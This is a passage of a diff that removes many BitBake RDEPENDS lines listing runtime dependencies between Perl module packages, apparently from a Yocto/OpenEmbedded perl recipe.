-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-b"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-my"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-version"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-vars"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-config"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-strict"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-extutils-embed"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-config"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-config"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-macos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-encode"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-vars"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-my += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-my += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-config"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-vars"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs-countlines += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-config"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-re"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-lib"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-strict"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-re"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-warnings"
-RDEPENDS_perl-module-fatal += "perl-module-autodie"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-exception-system"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-hints"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-util"
-RDEPENDS_perl-module-fatal += "perl-module-config"
-RDEPENDS_perl-module-fatal += "perl-module-constant"
-RDEPENDS_perl-module-fatal += "perl-module-fcntl"
-RDEPENDS_perl-module-fatal += "perl-module-posix"
-RDEPENDS_perl-module-fatal += "perl-module-strict"
-RDEPENDS_perl-module-fatal += "perl-module-tie-refhash"
-RDEPENDS_perl-module-fatal += "perl-module-warnings"
-RDEPENDS_perl-module-fcntl += "perl-module-exporter"
-RDEPENDS_perl-module-fcntl += "perl-module-strict"
-RDEPENDS_perl-module-fcntl += "perl-module-xsloader"
-RDEPENDS_perl-module-fields += "perl-module-base"
-RDEPENDS_perl-module-fields += "perl-module-hash-util"
-RDEPENDS_perl-module-fields += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-exporter"
-RDEPENDS_perl-module-file-basename += "perl-module-re"
-RDEPENDS_perl-module-file-basename += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-warnings"
-RDEPENDS_perl-module-filecache += "perl-module-parent"
-RDEPENDS_perl-module-filecache += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-exporter"
-RDEPENDS_perl-module-file-compare += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-warnings"
-RDEPENDS_perl-module-file-copy += "perl-module-config"
-RDEPENDS_perl-module-file-copy += "perl-module-exporter"
-RDEPENDS_perl-module-file-copy += "perl-module-file-basename"
-RDEPENDS_perl-module-file-copy += "perl-module-strict"
-RDEPENDS_perl-module-file-copy += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-strict"
-RDEPENDS_perl-module-file-dosglob += "perl-module-text-parsewords"
-RDEPENDS_perl-module-file-dosglob += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-xsloader"
-RDEPENDS_perl-module-file-fetch += "perl-module-constant"
-RDEPENDS_perl-module-file-fetch += "perl-module-cwd"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-basename"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-copy"
-RDEPENDS_perl-module-file-fetch += "perl-module-filehandle"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-path"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-temp"
-RDEPENDS_perl-module-file-fetch += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-file-fetch += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-file-fetch += "perl-module-load"
-RDEPENDS_perl-module-file-fetch += "perl-module-params-check"
-RDEPENDS_perl-module-file-fetch += "perl-module-strict"
-RDEPENDS_perl-module-file-fetch += "perl-module-vars"
-RDEPENDS_perl-module-file-find += "perl-module-cwd"
-RDEPENDS_perl-module-file-find += "perl-module-exporter"
-RDEPENDS_perl-module-file-find += "perl-module-file-basename"
-RDEPENDS_perl-module-file-find += "perl-module-strict"
-RDEPENDS_perl-module-file-find += "perl-module-warnings"
-RDEPENDS_perl-module-file-find += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-globmapper += "perl-module-file-glob"
-RDEPENDS_perl-module-file-globmapper += "perl-module-strict"
-RDEPENDS_perl-module-file-globmapper += "perl-module-warnings"
-RDEPENDS_perl-module-file-glob += "perl-module-exporter"
-RDEPENDS_perl-module-file-glob += "perl-module-strict"
-RDEPENDS_perl-module-file-glob += "perl-module-xsloader"
-RDEPENDS_perl-module-filehandle += "perl-module-exporter"
-RDEPENDS_perl-module-filehandle += "perl-module-fcntl"
-RDEPENDS_perl-module-filehandle += "perl-module-io-file"
-RDEPENDS_perl-module-filehandle += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-cwd"
-RDEPENDS_perl-module-file-path += "perl-module-exporter"
-RDEPENDS_perl-module-file-path += "perl-module-file-basename"
-RDEPENDS_perl-module-file-path += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-vars"
-RDEPENDS_perl-module-file-stat += "perl-module-class-struct"
-RDEPENDS_perl-module-file-stat += "perl-module-constant"
-RDEPENDS_perl-module-file-stat += "perl-module-exporter"
-RDEPENDS_perl-module-file-stat += "perl-module-fcntl"
-RDEPENDS_perl-module-file-stat += "perl-module-overload "
-RDEPENDS_perl-module-file-stat += "perl-module-strict"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-temp += "perl-module-constant"
-RDEPENDS_perl-module-file-temp += "perl-module-cwd"
-RDEPENDS_perl-module-file-temp += "perl-module-errno"
-RDEPENDS_perl-module-file-temp += "perl-module-exporter"
-RDEPENDS_perl-module-file-temp += "perl-module-fcntl"
-RDEPENDS_perl-module-file-temp += "perl-module-file-path"
-RDEPENDS_perl-module-file-temp += "perl-module-io-seekable"
-RDEPENDS_perl-module-file-temp += "perl-module-overload"
-RDEPENDS_perl-module-file-temp += "perl-module-parent"
-RDEPENDS_perl-module-file-temp += "perl-module-posix"
-RDEPENDS_perl-module-file-temp += "perl-module-strict"
-RDEPENDS_perl-module-filter-simple += "perl-module-filter-util-call"
-RDEPENDS_perl-module-filter-simple += "perl-module-text-balanced"
-RDEPENDS_perl-module-filter-util-call += "perl-module-exporter"
-RDEPENDS_perl-module-filter-util-call += "perl-module-strict"
-RDEPENDS_perl-module-filter-util-call += "perl-module-warnings"
-RDEPENDS_perl-module-filter-util-call += "perl-module-xsloader"
-RDEPENDS_perl-module-findbin += "perl-module-cwd"
-RDEPENDS_perl-module-findbin += "perl-module-exporter"
-RDEPENDS_perl-module-findbin += "perl-module-file-basename"
-RDEPENDS_perl-module-gdbm-file += "perl-module-exporter"
-RDEPENDS_perl-module-gdbm-file += "perl-module-strict"
-RDEPENDS_perl-module-gdbm-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-gdbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-gdbm-file += "perl-module-xsloader"
-RDEPENDS_perl-module-getopt-long += "perl-module-constant"
-RDEPENDS_perl-module-getopt-long += "perl-module-exporter"
-RDEPENDS_perl-module-getopt-long += "perl-module-overload"
-RDEPENDS_perl-module-getopt-long += "perl-module-pod-usage"
-RDEPENDS_perl-module-getopt-long += "perl-module-strict"
-RDEPENDS_perl-module-getopt-long += "perl-module-text-parsewords"
-RDEPENDS_perl-module-getopt-long += "perl-module-vars"
-RDEPENDS_perl-module-getopt-long += "perl-module-warnings"
-RDEPENDS_perl-module-getopt-std += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-strict"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-xsloader"
-RDEPENDS_perl-module-hash-util += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util += "perl-module-hash-util-fieldhash"
-RDEPENDS_perl-module-hash-util += "perl-module-strict"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings-register"
-RDEPENDS_perl-module-hash-util += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-collate += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-collate += "perl-module-overload"
-RDEPENDS_perl-module-i18n-collate += "perl-module-posix"
-RDEPENDS_perl-module-i18n-collate += "perl-module-strict"
-RDEPENDS_perl-module-i18n-collate += "perl-module-warnings-register"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-warnings"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags-list += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-encode"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-file-globmapper"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-utf8"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-file"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-handle "
-RDEPENDS_perl-module-io-compress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-config"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-warnings"
-RDEPENDS_perl-module-io-dir += "perl-module-exporter"
-RDEPENDS_perl-module-io-dir += "perl-module-file-stat"
-RDEPENDS_perl-module-io-dir += "perl-module-io-file"
-RDEPENDS_perl-module-io-dir += "perl-module-strict"
-RDEPENDS_perl-module-io-dir += "perl-module-tie-hash"
-RDEPENDS_perl-module-io-file += "perl-module-exporter"
-RDEPENDS_perl-module-io-file += "perl-module-fcntl"
-RDEPENDS_perl-module-io-file += "perl-module-io-seekable"
-RDEPENDS_perl-module-io-file += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-file += "perl-module-strict"
-RDEPENDS_perl-module-io-handle += "perl-module-exporter"
-RDEPENDS_perl-module-io-handle += "perl-module-io"
-RDEPENDS_perl-module-io-handle += "perl-module-io-file"
-RDEPENDS_perl-module-io-handle += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-handle += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-warnings"
-RDEPENDS_perl-module-io += "perl-module-xsloader"
-RDEPENDS_perl-module-io-pipe += "perl-module-fcntl"
-RDEPENDS_perl-module-io-pipe += "perl-module-io-handle"
-RDEPENDS_perl-module-io-pipe += "perl-module-strict"
-RDEPENDS_perl-module-io-poll += "perl-module-exporter"
-RDEPENDS_perl-module-io-poll += "perl-module-io-handle"
-RDEPENDS_perl-module-io-poll += "perl-module-strict"
-RDEPENDS_perl-module-io-seekable += "perl-module-exporter"
-RDEPENDS_perl-module-io-seekable += "perl-module-fcntl"
-RDEPENDS_perl-module-io-seekable += "perl-module-io-handle"
-RDEPENDS_perl-module-io-seekable += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-exporter"
-RDEPENDS_perl-module-io-select += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-warnings-register"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-base"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-constant"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-posix"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-warnings"
-RDEPENDS_perl-module-io-socket += "perl-module-errno"
-RDEPENDS_perl-module-io-socket += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket += "perl-module-io-handle"
-RDEPENDS_perl-module-io-socket += "perl-module-io-select"
